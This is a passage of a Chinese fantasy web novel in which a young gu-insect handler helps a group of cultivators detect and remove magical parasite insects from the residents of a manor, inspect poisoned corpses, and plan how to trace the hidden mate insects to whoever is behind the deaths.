邱漓满脸疑惑地蹲下身子,凑近前去仔细观察起那只蝎子来。 眼前这只蝎子不仅个头巨大,其尾巴的末端呈现出诡异的紫色,让人看了不禁心生寒意。 再看看四周摆放着的那些坛子和琉璃瓶,一个个全都被严严实实地密封起来。 这样一来,就算这些容器中有蝎子存在,它们想要从中逃脱出来也是绝无可能。 “一会儿你同我们下山一趟。”江挽看着邱漓说道。 此话并不是请求的语气,而是带着一丝命令。 蒲月山庄平白无故遭遇如此劫难,实在令人匪夷所思。 即便能够寻得罗栎口中所说的那棵树苗,恐怕也是于事无补。 毕竟,他们目前对于蒲月山庄内究竟隐匿着多少只食人蛊一无所知,更无从知晓到底有多少人的身躯已被幼虫所侵占。 因此,邱漓的作用就显现出来了,她必须跟随一同回去。 虽然无法一劳永逸地根除隐患,但至少能暂时缓解眼前的危机。 “好。”邱漓毫不犹豫地回应道。 话音未落,只见她身形一闪,如疾风般迅速出手,精准地捉住了那只蝎子。 紧接着,手法娴熟地将蝎子装入自己腰间的小巧壶中。 秦在锦恰巧目睹了这一幕,顿时惊愕不已,瞪大双眼,满脸不可置信地指着邱漓,连话都说不利索了:“你你你你……” 面对秦在锦的反应,邱漓一脸淡然地站起身来,迎上对方的目光,镇定自若地反问道:“我我我我,我怎么了?” 这蝎子跟秦在锦又没有半分钱关系,那么紧张做什么? 这般反应,不知道的人还以为她偷了他精心饲养的蛊虫呢。 在鸣蜩山中,最为忌讳的便是偷盗他人所饲养的蛊虫。 特别是在竞选族长之时,唯有凭借自身蛊虫战胜对手的蛊虫,方可算作胜出。 有些人为了赢就打起旁的主意,不惜花重金购买骁勇善战的蛊虫。 不过听婆婆说,近年来这种情况倒很少见了,不是因为大家的品德上去了,而是因为想当族长的人变少了。 其实说实话,这个位置有些吃力不讨好,不仅劳心劳神,还得不到什么相应的回报。 那些好面之人或许还会争上一争,可近几年,山中的年轻人多半对族长之位不感兴趣。 “你怎么能徒手捏蝎子!!那是有毒的!”秦在锦皱着眉头说道。 邱漓歪头看着他,所以呢?又有什么不对么? “我知道有毒啊,没毒我还不要呢。”邱漓哼了一声向外走去。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!江洵跟在身后笑着拍了拍秦在锦的肩膀,似乎是在安慰他,可那眼神着实却是在看傻子。 人家姑娘是养蛊好手,常年跟这些东西打交道,还用得着你一个外行提醒??? 真是咸吃萝卜淡操心。 “今日多加叨扰,还望族长莫要见怪。”江挽对着二楼的格非说道。 格非莞尔一笑,她就知道这几人查不出什么东西来。 “送客!” 此话一出,她便转身回了房间,这便是不想让他们在此处多加逗留了。 邱漓生怕格非想到什么,要找她什么麻烦,拔腿就往外跑去。 等走远了她才算是松了一口气。 “我觉得昨天那几位任务员肯定是被她偷摸的转移走了。”邱漓分析道。 “怎么说?” “我又仔细回忆了一下,我之前所住的那个房间是朝阳的,有窗户,能听到风声,能见到日光。但今日所查无论是厢房还是密室,都不像是我印象中的地方。” “你是如何确定,那几人没有离开过房子?”傅霖疑惑地问道。 她总不能一直不眠不休地盯着格非的住宅吧? 再说了,如果人家家里有个后门能走人,她即便想一直守着也是心有余而力不足。 就在这时,只见邱漓一边走着,一边掏出了一串线虫,毫不犹豫地拎到了傅霖的面前。 那线虫通体呈现出一种苍白的颜色,每一只的大小跟米粒差不多,但却异常纤细,就像一根根白色的丝线一样。 如果它们静止不动的话,恐怕一时半会儿还真不容易被人发现。 因为这些线虫的身体实在是太细小了,即便是不小心爬到人的衣服上,估计也只会把它当成是衣服上的线头罢了,根本不会过多留意。 要是把它们放在地上或者树上,那就更难察觉到它们的存在了。 这突如其来的一幕对于傅霖来说无疑是一场“视觉盛宴”,惊得他忍不住倒抽了一口凉气。 这丫头肯定是故意的!他又不是瞎子,用得着放这么近吗? 邱漓似乎完全没有注意到傅霖的反应,一脸得意地将那串线虫收了回去,开口解释道:“这种虫子叫做线虫,跟格非养的那些毒蜂差不多,都是用来传递消息的。” 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第132章 时日无多 很显然,她这么做就是想要故意吓唬一下傅霖,她可没忘记那人方才曾嘲讽过自己! “怎么传递?”秦在锦随即凑了过来,一脸好奇地问道。 “看好啦。” 邱漓将那些线虫放置于自己的掌心之中,然后定睛观瞧。 只见这些小小的线虫开始有条不紊地蠕动着身躯,没过多久,就组成了两个字——你好。 冬苓忍不住发出一声惊叹:“嚯!” 如此奇特的虫子对于她来说也是生平头一遭见到。 此时,一行六人一边缓缓前行,一边分析着格非可能将人藏匿的地点。 这一路上并未瞧见那群毒蜂的影子,或许正是因为这个缘故,邱漓渐渐变得话多了起来。 走着走着,江挽突然开口向邱漓发问:“那么关于食人蛊,你可有什么应对之法?” 听到这话,邱漓略微思考了片刻之后回答道:“倘若遇到的只是处于幼虫阶段的食人蛊,要解决相对还算容易一些。” “但要是已经长大的食人蛊,即便我能够成功地将它从人的体内引诱出来,那个人的身体恐怕也早已被吞噬掉一部分了,多半是难以存活下去的。” “没事儿,你尽管去做,剩下的交给我!”秦在锦拍着胸脯说道。 “还得是咱们锦哥儿。”冬苓竖起大拇指夸赞。 “要不说是锦哥儿呢!”江洵笑着去捏秦在锦的肩膀。 这三人总是这般,当一个人自夸的时候,另外两人立马迎上前附和。 生怕对方说大话的时候尴尬,愣是要把对方哄开心了才行。 这样对方就能多干点,自己少干点。 当一行人抵达蒲月山庄时,夜幕已然降临,整个天空被黑暗所笼罩。 今晚乌云众多,看不到月亮。 邱漓走在队伍的最前列,右手刚抬起准备推开山庄的大门时,却突然感觉自己像是撞到了一堵无形的墙壁一般,整个人被硬生生地弹了回来。 当她不信邪的再次向前靠近时,那道无形的屏障始终坚如磐石,无法逾越半步。 江挽见状缓缓走上前来,只见她伸手朝着那道屏障轻轻一敲,原本纹丝不动的屏障微微颤动起来。 紧接着,伴随着一阵轻微的嗡嗡声,一条约有三尺宽的裂缝出现在了众人眼前。 “进去吧。” 江挽语气温柔地同邱漓说道。 待所有人都进入到庄内之后,那条裂缝仿佛具有生命一般迅速合拢起来,恢复如初,好似从未出现过一般。 沿着蜿蜒曲折的小路向前行进,道路两旁的灯笼早已被庄子里的人点亮,昏黄的烛光透过纸糊的灯罩洒落在地面上。 栾华此刻正悠然自得地坐在院子中央的摇椅上乘凉,身旁站着手持羽扇、轻轻为其扇风的泱泱。 听到脚步声传来,栾华漫不经心地转过头来,目光扫过江挽一行人后,嘴角微微上扬,露出一抹淡淡的笑容:“哟,回来了。” 然而她并没有站起身来迎接,仅仅只是随意地伸出一只手冲着众人摆了摆而已。 也算是打过招呼了。 泱泱则是收起扇子,朝几人恭敬地施了一礼,笑着说道:“饭菜早已备好,几位大人可在用过饭后再去休息。” “这是鸣蜩山的蛊师,先将庄上的人聚在一起,让她检查一下其中还有没有中蛊之人。”江挽说道。 “好的。”栾华挥了挥手,示意泱泱去传话。 左右还需要一些时间,几人则先去用饭。 “大户人家就是不一样哈,你瞅瞅这待遇。”冬苓感慨道。 之前出任务,也不是没吃到过好的,但这家实在是给的太多了。 秦在锦含泪吃两碗米饭,这梅菜扣肉做的也太香了。 邱漓不紧不慢地夹了几块色泽诱人的五花肉,然后将它们一一放进腰间的壶中。 看到这一幕,坐在对面的傅霖挑了下眉,好奇地问道:“你那壶里装的都是蛊虫?” 听到傅霖的询问,邱漓微微抬起头来,点了点头说道:“昂!里面有蝎子、蚰蜒、蜈蚣、蜘蛛,还有白蚁……” 还没等邱漓把话说完,正准备往嘴里送食物的傅霖急忙伸出手打断了她的话。 “等等!!!正吃饭呢!” 他只是随口一问,谁知道对方回答的如此详细。 他们的关系还没有好到可以全盘托出的地步吧。 邱漓对傅霖翻了个白眼,嘴里一边咀嚼着饭菜,一边不满地嘟囔道:“不说嘛你又不高兴,说了嘛你又嫌恶心,真是难伺候。” 听到邱漓这番话语,傅霖忍不住冷笑了一声,“我难伺候??” 面对傅霖的质问,邱漓毫不示弱,挺直了身子,回应道:“对,你!” 她是看明白了,这几个人里面就这位的性子是最阴晴不定的,那翻脸简直比翻书还快。 当她将目光投向最初绑住她的那位姐姐,虽然其语气柔和,看似十分好说话。 但她动手时,动作却是干脆利落、毫不拖泥带水,显然绝非那种优柔寡断之辈。 本小章还未完,请点击下一页继续阅读后面精彩内容!观其言行举止以及其他人对她的态度,可以推断出这位应当是这几人当中身份最为尊崇的存在。 坐在她身旁殷勤地帮忙夹菜的那位哥哥,则很有可能是她的徒弟。 这位哥哥虽然看似好说话,其实与那个难伺候的家伙如出一辙,都是心机深沉、心眼颇多之人。 相比之下,倒是自己身边的这两位显得比较好相处一些。 他们性格单纯直爽,没有那么多的心机算计,喜怒哀乐全都明明白白地写在了脸上,让人一眼就能看透。 想到这里,邱漓不禁感到自己的决定有些冒失。 现在收回自己要去三阁的念头还来及吗? 她怎么觉得自己进了另一个狼窝呢? 真是情绪上头的时候不能做任何决定。 不然一切都白搭。 罢了,还是冷静一下。 可她有什么好冷静的?她还是个孩子啊!!! 这顿饭吃的她可谓是五味杂陈。 饭后,整个庄子里的人都聚在了一起,有人在交头接耳,议论着一会要发生的事儿。 邱漓找了个空地,随着她双手舞动,一道红色的光芒拔地而起,在空中交织缠绕,最终形成一个圆形的法阵——验蛊阵。 凡是入阵之人,皆会接受阵法的检验,若是体内无蛊,则感觉不到任何异样。 反之,体内的蛊虫数量越多、体型越大,身体的痛感也就越强。 “各位不用担心,也不用紧张,咱就当检查个身体。” 邱漓在那几排人面前边走边说着。 凡是检验一个人,法阵就会从她体内汲取一部分灵力。 她得看一下自己的灵力够不够支撑所有人检查完。 “还有一点,不要说谎,痛就是痛,不痛就是不痛,这是否则错过了治疗的时机,天王老子来了也救不了你。” 等数完人数后,邱漓不禁皱起了眉头,这人也忒多了点儿。 恐怕还没等将所有人都检查完,她就得灵力耗尽了。 冬苓察觉到邱漓略带为难的表情,快步朝她走了过来,轻声问道:“怎么了?” “我可能灵力不太够,我没想到这庄子里会有这么多人。”邱漓皱着小脸儿,可怜巴巴地回道。 邱漓知道,在这种情况下最好提前把说开,否则就是死要面子活受罪。 “别担心,撑不住的时候跟我说,我的灵力传给你。” 冬苓伸手轻轻摸了下邱漓的头发。 邱漓看着眼前的少女,不知不觉间,心里轻松了许多。 其实她和秦在锦一样,都是让人忍不住想要亲近的人。 秦在锦下午的时候也告诉过她:尽管放手去做,剩下的他来解决。 明明是才刚认识不到一天的人,邱漓却莫名的觉得心安,莫名的去相信对方。 “罗栎怎么样了?”江挽问向正坐在那悠哉着吃葡萄的栾华。 “死了。”栾华打了个哈欠。 江挽闻言,皱了下眉头,似乎对这个结果有些不满。 栾华察觉到那人的沉默,头也不抬的问道:“怎么?你觉得她不该死?” 若不是她鬼迷心窍,山庄里会无缘无故死那么多人? 若不是她忘恩负义,那腾友时会落得如今这般下场? 桩桩件件,她都得死。 “该不该死不是我说的算,她害的人皆与我无关。”江挽说道。 “那你方才为何不说话?”栾华佯装生气地哼了一声。 “我是替你觉得可惜,明明差一点就能脱掉这身儿''丧服''了。” 她知道栾华的规矩,也知道这人并不爱穿白色。 明明是个蛇蝎心肠之人,却天天学人家和尚吃斋念佛。 江挽继续说道:“你不去验验?” “我肯定无事。” 栾华抬头看向江挽,那双眼睛笑盈盈的,毫无防备满是真诚,倒有些她俩初见时的样子。 “随你。”江挽不再劝她。 栾华笑了一声,“与其担心我,不如操心你自己。可还有十年?” “我以为有的。” 江挽微微垂首,目光落在自己的手上。 那只纤细白皙的手掌中央,一道浅浅的疤痕赫然入目。 这道疤痕犹如一条蛰伏的小蛇,安静地趴在那里,时不时地骚动一下,仿佛在轻轻噬咬着她的掌心,带来一阵难以言喻的瘙痒感。 而这阵瘙痒,就像是一个沉默的提醒者,提醒她时日无多却又无可奈何。 风止令,曾是她最想学的术法。 可她却只能望洋兴叹。 灵力受阻时,她没有足够的信心去正面迎击对方的灵力冲击。 她不是一个赌徒,所以她走的每一步都不能出错。 而蕴灵术,曾是她最骄傲的术法。 可与沈亦行的蕴灵术比起来,她的蕴灵却变得黯然失色。 明明当年,无论是灵力还是悟性,她都远胜沈亦行。 就连比起剑法,沈亦行也回回都是她的手下败将。 当真是可笑。 她用了很长的时间去接受自己再也无法用剑、无法使用风止令的事实。 这章没有结束,请点击下一页继续阅读!她一次又一次地去说服自己放下执念、放下那不堪一击的骄傲。 她接受了自己昏暗又潮湿的余生。 也接受了自己再也无法精进的修为。 可她接受不了自己时日无多。 明明一切才刚刚开始! “师父师父!” 一声清脆而亲切的呼喊声传来,犹如春风拂面般轻柔,瞬间抚平了江挽那紧紧皱起的眉头。 少年快步向这边走来,脸上洋溢着灿烂的笑容,眼神中透露出对江挽的依赖与喜爱。 “怎么了?”江挽轻声问道,语气中带着一丝宠溺。 “师父来试试呗,怎么说您也在鸣蜩山待了整整一下午呢。” 江洵一边说着,一边笑盈盈地伸手拉住江挽的胳膊,不由分说地牵着她朝不远处的验蛊阵走去。 江挽还没来得及开口拒绝,便已身不由己地被带进了阵法之中。 就在她踏入阵法的那一刻,原本安静蛰伏的阵法仿佛突然苏醒过来一般,环绕在阵法边缘的灵力如同潮水般涌动起来。 那些闪烁着微弱光芒的灵力,如同一群受到召唤的精灵,争先恐后地朝着阵法中央的江挽扑去。 它们在空中交织缠绕,仿佛形成一道柔软的白纱,将江挽整个人都包裹其中。 这些灵力从江挽的头顶开始,顺着她的身体缓缓流淌而下,从头到脚仔细地盘旋了一圈之后,又如倦鸟归巢般纷纷飞回了阵法的边缘,静静地等待着下一个人的到来。 “姐姐可有感觉到不舒服?” 一直在旁边紧张注视着的冬苓见状,立刻关切地开口问道。 “没有。”江挽微微摇了摇头,边说边迈步走出了阵法的范围。 听到这个回答,冬苓和江洵不约而同地松了一口气。 “我刚才进去的时候,怎么不见你俩那么紧张????”秦在锦不满的说道。 他的命就不是命了吗? 他的命就不值得紧张吗? “你装什么呢?”江洵没好气的回道。 你一个精通医术的人,自己受没受伤心里没点数???? 还需要我们来关心你???? 江洵懒得多说。 “霖哥!!!你看他们!!”秦在锦听到江洵这番话后,转头找傅霖哭诉。 “你少说两句吧。”傅霖回道。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第133章 浪费可耻 起初,前两排的十几个人都顺利通过了检查,身体并未出现任何异常。 然而,当轮到第三排时,出现了第一个体内有蛊虫的人。 那位婶婶刚踏进验蛊阵没多久,便感到胳膊处传来一阵剧痛。 她甚至还未完成整个检查,便忍受不住疼痛,从阵法中跳了出来。 一旁的邱漓眼疾手快,迅速上前扶住了婶婶,并关切地说道:“您先别急,把袖子往上掀一掀,让我看看怎么回事儿。” 由于受到验蛊阵的影响,原本正常的小臂前侧,有一寸皮肤变得红肿起来。 当邱漓准备开口说些什么的时候,瞥见三排末端有一个身影鬼鬼祟祟地朝着队伍后方跑去,似乎并不想接受接下来的检查。 “欸,你给我站住!”邱漓急忙大声喊道。 话还未说完,便被身旁的傅霖出声打断了。 “站过来!” 只见傅霖手持行野剑,面色冷峻,眼神中更是闪过一抹凌厉之色。 听到傅霖这声命令,那个被喊到的小厮顿时被吓得浑身一颤,只得畏畏缩缩朝这边走来。 于是,由傅霖站在人群一侧,紧盯着还未检查的人员,确保整个检查工作能有条不紊地进行下去。 而江洵和冬苓二人则稳稳地守在验蛊阵两侧。 江洵负责观察入阵检验之人的神情,以防有人隐瞒实情。 冬苓负责源源不断地向法阵注入着灵力,确保法阵能够正常运转。 明明没有提前安排分工,几人却能在出了问题时心照不宣的上前帮忙。 邱漓见此情形,心中稍安,随即将视线转移到眼前这位婶婶的胳膊上。 只见那红肿之处的皮肤下,藏着一只正在缓缓蠕动的虫子,其形状宛如一颗红豆般大小。 若要想成功将这蛊虫取出,就必须先把皮肤划开一道口子,然后再使用夹子小心翼翼地将其夹出。 邱漓抬头望向不远处的秦在锦,发现对方已然将所需之物准备得面面俱到,只待她带着婶婶过去便可动手取蛊。 得到秦在锦的示意后,邱漓轻轻握住婶婶的手臂,仔细确认着蛊虫的确切位置。 秦在锦留意到婶婶惊恐不安的神情,伸手打开身旁放置的一个小巧精致的瓷瓶。 瓶盖揭开的瞬间,一股淡淡的清香飘散而出。 “这是罗乌膏,擦上后你将感知不到疼痛。所以婶婶不用害怕,放轻松,相信我。”秦在锦柔声说道。 烛光映在少年的脸上,此时的他竟意外的让人觉得心安。 药膏轻轻地涂抹在婶婶的胳膊上,顿时传来一阵冰凉舒爽之感。 待药膏渗入皮肤后,秦在锦手持锋利小刀,手法娴熟地在婶婶胳膊上的红肿部位划出一道小口。 刹那间,鲜血渗出,但秦在锦并未有丝毫慌乱。 他迅速拿起早已备好的夹子,准确无误地夹住了那只还在挣扎的蛊虫,并顺利地将其从伤口中取了出来。 整个过程一气呵成,且十分迅速。 完成取蛊之后,秦在锦立刻着手为婶婶的伤口进行上药和包扎处理。 “这么快?”她有些惊讶的问道。 虽然感觉不到疼痛,可这场面也吓得不轻,满脸皆是豆大的汗珠。 毕竟像这种经历,她活了大半辈子也是头一遭遭遇啊! 秦在锦掏出帕子递给邱漓,示意她帮婶婶擦一下额头的汗水。 而后对婶婶笑道:“注意伤口不要碰水,勤换药。” “好好好,听大夫的。” 等婶婶走了之后,邱漓静静地站在桌前,目光锁定在那透明的琉璃瓶中,里面装着刚被取出的蛊虫。 那虫子安静地蜷缩着身子,通体呈现出一种诡异的蓝色,身上还分布着细密的纹路,甚至还长着一对翅膀。 邱漓皱起眉头,心中不禁有些疑惑。 单从这只蛊虫的外观来看,它显然与江挽等人所说的食人蛊大相径庭。 食人蛊在食肉以后体型较大,且具有强烈的攻击性。 然而眼前的这只蛊虫不仅个头小巧,模样还较为温顺。 可当检查完毕,取出了三十多只一样的虫子后,邱漓呢喃道:“不对劲......” 秦在锦轻轻地晃了晃脑袋,然后将脖子向后仰去,试图缓解颈部的不适。 听到邱漓的话,连忙凑上前问道:“哪里不对劲?” 邱漓深吸一口气,定了定神后解释道:“这根本就不是食人蛊,而是双生蛊。” “双生蛊?”秦在锦一脸茫然地重复道。 “没错,所谓双生蛊,就是从出生到成长都始终待在同一个瓶子里的蛊虫。” 这种蛊虫一般分为雄蛊和雌蛊两种。它们既可以分别被下在两个不同的人体内,也能够同时被植入同一人的身体之中。 最主要的是,两只蛊虫之间存在着一种特殊的感应能力。 当雌蛊遭遇危险时,雄蛊便会通过某种特殊的方式引导中蛊之人迅速赶到雌蛊所在之处,反之亦然。 也恰恰是凭借着这样的联系,双生蛊才得名于此 本小章还未完,请点击下一页继续阅读后面精彩内容!“我们取出来的都是雄蛊,也就是说雌蛊在另一个地方。” 听完邱漓的讲解,秦在锦突然想到什么,回道:“如此一来,失踪一事另有隐情。” 他一直有个疑问,那些因食人蛊而死的人,缘何在此之前又会突然失踪? 只有一人失踪,还可以理解。 可接连失踪就说不过去了。 毕竟食人蛊并不会蛊惑人心,操纵不了中蛊之人的身体。 可把这些人被喊走的目的是什么?又是什么时候被种下的食人蛊? 死之前到底发生了什么事情?甚至在其之后还要惨遭虐待。 “等取完了再说。”江洵回头说道。 一个时辰过去以后,蒲月山庄除了庄主,所有人都检查了一遍。 总共取出来三十多只双生蛊,且皆是雄蛊。 “对了,你还没跟我说食人蛊的事儿呢!”邱漓撤回阵法之后,猛地回过头来,一脸好奇地向秦在锦发问。 只见秦在锦微微皱起眉头,缓声道:“我们这两日所见到的尸体皆命死于食人蛊,所以我们先入为主地认定,余下这这些人的身体中应该还潜伏着尚未发作的食人蛊。” 听到这话,邱漓眼中闪过一丝惊讶,连忙追问道:“尸体现在何处?” “冰室。” 话音未落,邱漓已经迫不及待地开口说:“快,带我前去看看!” 江洵与傅霖见状,匆匆跟上前面两人的脚步。 本想也一道儿过去的冬苓突然觉得一阵天旋地转袭来,眼前的景象变得模糊不清。 只觉双腿一软,整个身子不由自主地摇晃了几下,险些摔倒在地。 许是方才消耗了过多的灵力,身体尚未完全恢复过来。 江挽眼疾手快地扶住了摇摇欲坠的冬苓,取出一粒药丸递给她,轻声说道:“吃了。” 冬苓甚至连看都没有多看一眼那颗药丸的样子,毫不犹豫地张嘴将其吞入腹中。 看到她如此信任自己的模样,江挽不禁哑然失笑,打趣般地问道:“你怎么连问都不问一下?万一是毒药怎么办?” 冬苓抬起头,用那双依旧清澈但已略显疲惫的眼眸望着江挽,语气坚定地回答道:“姐姐定然不会加害于我。” 说完这句话,她脸上勉强挤出一抹微笑。 “坐这儿等着吧,冰室里寒气重,别再伤了身子。” 江挽扶着她坐到身后的椅子上。 三人在白天的时候曾来过这个冰室,所以对这儿的环境和路径已经颇为熟悉。 倒是初次过来的邱漓有些小心翼翼地紧跟其后,一步不敢落下。 "就是这几具尸体。" 秦在锦轻声说道,话音刚落,他便下意识地转过头去张望。 冬苓怎么没有跟上来呢? 一旁的江洵瞬间看穿了他的心思,开口道:"别看了,跟我师父在一起呢。" 听到这句话,秦在锦略显放心。 邱漓凝重地盯着眼前那一排五官被缝合得严严实实的尸体,眉头不由自主地紧紧皱起。 接着,她缓缓走到其中一具尸体旁边,伸出自己的右手,轻轻地将手掌覆盖在那具尸体的头颅之上。 随后,闭上双眼,口中开始念念有词,一段晦涩难懂的法诀从她嘴里传出。 与此同时,只见一团泛着紫色光芒的灵力如同潺潺流淌的溪水一般,迅速从头颅开始朝着身体及四肢涌动而去。 过了片刻,邱漓猛地睁开眼睛,语气笃定地说道:"左侧腹部位置,藏着一只蛊虫,取出来看一下。" 秦在锦闻听此言,毫不犹豫地拿起手中的小刀,朝着尸体的左侧腹部切去。 然而,就在刀刃切入皮肉的一刹那,秦在锦突然发出疑惑的声音。 "怎么回事?" 江洵见状,连忙凑上前询问道。 “这人生前中毒了?” 话语未落,便毫不犹豫地将那缝合在死者五官之上的黑线逐一剪开。 似乎是想要印证自己内心深处刚刚萌生的猜测,紧接着,他又迅速检查了另外几具尸体。 除了腾友时的遗体之外,其他几人的尸身均呈现出中毒的迹象,但这种症状却又显得颇为隐晦和难以察觉。 “我可以确定这具尸体里面,只存在着一种蛊虫——食人蛊,并没有双生蛊。”邱漓说道。 待查到想要的线索后,几人纷纷出了冰室,这地方也忒冷了点儿。 秦在锦一面不停地搓揉着自己冻得瑟瑟发抖的双臂,一面嘴里念念有词:“你们觉得这件事情与格非有没有关系?还是说跟那位行踪诡秘的术老板有所关联?” “难道就不能两者皆有关联么?”傅霖冷不丁的回道。 其实,并不难看出,格非是撒了谎的。 细想起来,当初是他们主动提及了食人蛊,格非便巧妙地顺着这个话题聊下去。 表面上看起来好像是在给他们提供线索,实际上很有可能隐瞒了关于双生蛊的关键信息。 “对了,格非给你喝的都是些什么药?”江洵微皱着眉头,一脸疑惑地向邱漓询问道。 本小章还未完,请点击下一页继续阅读后面精彩内容!因为邱漓目前并没有生命危险,且身体状况也看不出什么毛病来,所以他们并没有过多的关注试药一事。 可如今在思量起来,不免觉得其中暗藏玄机。 邱漓轻轻抿了抿嘴唇,“说实话,我也不太清楚。但是有一点我知道,我与旁人所服用的药并不相同。” 或者说每个人喝的药都一样。 当她们一同喝完药后,邱漓留意到身旁那人碗底所残留的药渣与自己的有些不同,而且两碗药汤的颜色也是大相径庭。 既然是试药,那么很显然就不可能只有一份药方存在。 只是,她为什么要这么做?她的目的又是什么? 如果只是单纯想要研制出能够治病救人的良药,按理来说应当去寻找那些真正身患疾病的人们作为试验对象才说得通。 可她却找来了邱漓这种身体健康的人来试药,实在令人费解。 莫非是要研制毒药,可她如今不是活的好好的? 这不是纯纯在浪费药材么!! 邱漓越想越生气。 再说了,喝药就算了,还天天都要被扎上一针,检查身体有没有发生变化。 可她当时除了乖乖喝药,根本就没有多余的力气去反抗。 而且她留意过那个房间的人数,从她进去到她出逃,人数明没有变化。 当然,也不存在换人的可能。 因为在她清醒的第一时间就是先观察身旁躺的人还在不在,而后再去看房间里另外几人还有没有呼吸。 虽说自己曾经想过慷慨赴死,但那不是没死成嘛! 既然姐姐让她活下来了,那她就不能这么悄无声息的死去。 “你说,雄蛊会自己去找雌蛊对吧?”江洵若有所思地问道。 “对!” “那我们只需跟在雄蛊身后即可。” 秦在锦闻言,立马笑出了声,是啊!! 只要紧紧地跟随着这些蛊虫,便能够顺利找到隐藏于幕后的雌蛊所在之处。 如此一来,说不定还能将躲在背后暗中操纵之人给揪出来。 “前提是,操纵双生蛊之人并不知道我们已经将雄蛊取出。”傅霖接话道。 如若格非就是操纵双生蛊的人,那么眼下她可能已经知晓了这件事,毕竟她亲眼看着邱漓跟江洵等人走了出去。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第134章 一抹清明 出于谨慎考虑,她今晚或许会按兵不动,以免打草惊蛇。 但倘若她自恃实力高强,压根不把江洵等人放在眼里,那么也有可能会继续按照自己的想法行事,无非就是打明牌罢了。 当然这一切猜测都得建立在她是这场案件的参与人。 倘若她概不知情,那么一切就要另做打算。 好在此时此刻,整个山庄都被江挽精心布下的结界所笼罩着。 别说是活人了,就连只苍蝇都飞不出去。 如此一来,倒是暂时无需担忧会有人趁机将这里的消息泄露到外界去。 就在这时,秦在锦忽然瞧见了冬苓的身影,他心中一惊,急忙快步跑上前去。 待到近前时,迅速蹲下身子,一脸关切地凝视着冬苓,柔声问道:“怎么啦?是不是身体不舒服?” 冬苓抬起头来,冲着秦在锦微微一笑,轻轻摇了摇头说道:“没什么大碍,就是刚才施展法术时灵力消耗过度罢了。” 然而,秦在锦显然对这个回答不太满意,他眉头微皱,语气坚定地说:“你这样子哪里像是没事儿人!快把手伸出来让我瞧瞧。” 说着,便伸手想去抓冬苓的手腕。 冬苓连忙往后缩了一下手,赶忙解释道:“哎呀,真的没事,我已经服过药了。” 灵力这种东西,又不是一去不复返的,好好休息睡上一觉,很快就又能恢复如初。 见此情形,秦在锦无奈地叹了口气,但终究没有再坚持要给她把脉。 随后,冬苓稍稍调整了一下情绪,开口问道:“怎么样?可有查出什么意料之外的线索?” 秦在锦这才将刚刚几人的种种发现毫无保留地讲述给在场的众人。 一直静静聆听着的江挽突然微微挑起了眉毛,似乎是从这些话语之中察觉到了一丝不同寻常之处…… “师父是觉得有何不妥?”江洵发现江挽的表情有所变化,凑近问道。 江挽摇了摇头,许是她多想了,在一切没有查清楚之前,还是别尽早下定论。 装有雄蛊的琉璃瓶本打算放在江洵身上,可一想到那人招邪,又交到了傅霖手中。 这人晚上一没有秦在锦睡的沉,二没有江洵那么倒霉,让他保管,最为妥当。 蒲月山庄客房众多,一人一间房倒也绰绰有余。 可又想到万一到了晚上,蛊虫发出了什么动静,傅霖没有及时察觉的话,耽误了进度也不太好。 索性,再找个人和傅霖睡一间房,二人还能相互提醒。 “要不我跟你睡?”秦在锦眨着灵动的大眼睛说道。 “锦哥儿睡觉那么死,就算有点动静他也察觉不到。”冬苓插话道。 于是众人的目光一同看向江洵。 嗯?????? 几个意思???? “看我干什么?他一个人应付的来。” 江洵婉拒。 “不,师兄一个人应付不来。”傅霖故作委屈的说道。 江洵烦躁的“啧”了一声,你搁这儿装什么呢?这又没外人! 能在弟子大会夺魁首的人,会看不住几只小小的蛊虫??? 这话说出去谁信??? 温如玉听到都得气笑吧!! “你这人真是,跟他睡觉又不会少块肉。再说了你在哪不是睡?晚上有事儿敲门昂。”秦在锦打着哈欠回屋了。 冬苓的眼神在二人之间转来转去,笑的一脸得意。 等人都走了以后,只剩下江洵和傅霖大眼瞪小眼。 罢了,事已至此,睡觉! 江洵放弃反抗,脱了鞋就往床上躺。 这房间虽好,这木床虽宽,但归根到底,它也就只有一张床。 傅霖站在床侧,稍稍俯下身来,盯着身下闭眼装睡的人。 “往里睡点儿。” 而那人装作没听到一般,不仅没有作出任何回应,甚至连呼吸都控制得平稳均匀。 “要么我抱你过去,要么你自己躺过去。” 此话一出,江洵犹如鲤鱼打滚,一个翻身儿,滚到了床内侧。 傅霖见状,不禁轻笑出声,怎么就这么点儿出息。 说实话,俩人很少睡在一张床上,或者说,自观看傀儡戏那晚以后,俩人就没有单独在一个空间里待过。 眼下同床共枕,倒还真有那么点儿不习惯。 “你……腿还疼吗?” 傅霖没话找话的缓解尴尬。 他指的是弟子大会那日,为了赢江洵,行野剑曾伤到了那人的小腿。 这段时间里虽然总想问上一句,可一直没寻到合适的机会。 且不说江洵身边总是有人陪伴在侧,单说二人偶尔碰面时,江洵总是装作没看到自己,目光从未分给自己一分一毫。 枕边人沉默着没有回答。 “问你呢,听到没有?” 傅霖侧躺着,看着躺在自己不远处的人。 只要伸出手,就能够碰到。 江洵悠悠地睁开双眼、侧过头,目光转向一旁的傅霖。 一刹那,两人的视线交汇在一起,四周的一切似乎都凝固住了,就连时间也仿佛停止了流逝。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!江洵的眼眸如水波般轻轻荡漾着,那明亮而深邃的瞳孔里,流露出一丝不易察觉的痛楚。 他轻启双唇,用近乎蚊蝇般细小的声音说道:“疼……” 此时的傅霖,眼中唯有江洵那张尚带着几分稚气未脱的面庞,还有因疼痛而微微皱起的眉头。 那句“疼”听起来既像是赌气的抱怨,又好似娇嗔的呢喃。 如同一只小手轻轻地挠动着他的心弦,让他的耳朵不禁有些发热。 傅霖不自觉地感到喉咙一阵干涩,不由自主地做了一个吞咽口水的动作。 同时,连忙坐起身来,急切地说道:“我看看!” 他一边说着,一边伸出手去,想要查看一下江洵腿上的伤势如何。 尽管他当时并没有下狠手,但如今正值炎炎夏日,伤口极易感染发炎。 而且以江洵那倔强的性子,如果真受了什么重伤,说不定会一直强忍着不肯吭声。 可还不等傅霖的手触碰到江洵,就听见那人发出一声低笑。 笑声清脆悦耳,又透着一抹让人难以捉摸的意味。 只见那人正盯着他的眼睛,脸上挂着戏谑的笑容,一双好看的眉毛微微挑起,似笑非笑地说道:“骗你的,睡觉。” 说完,他便再次翻转身子,留给傅霖一个后背。 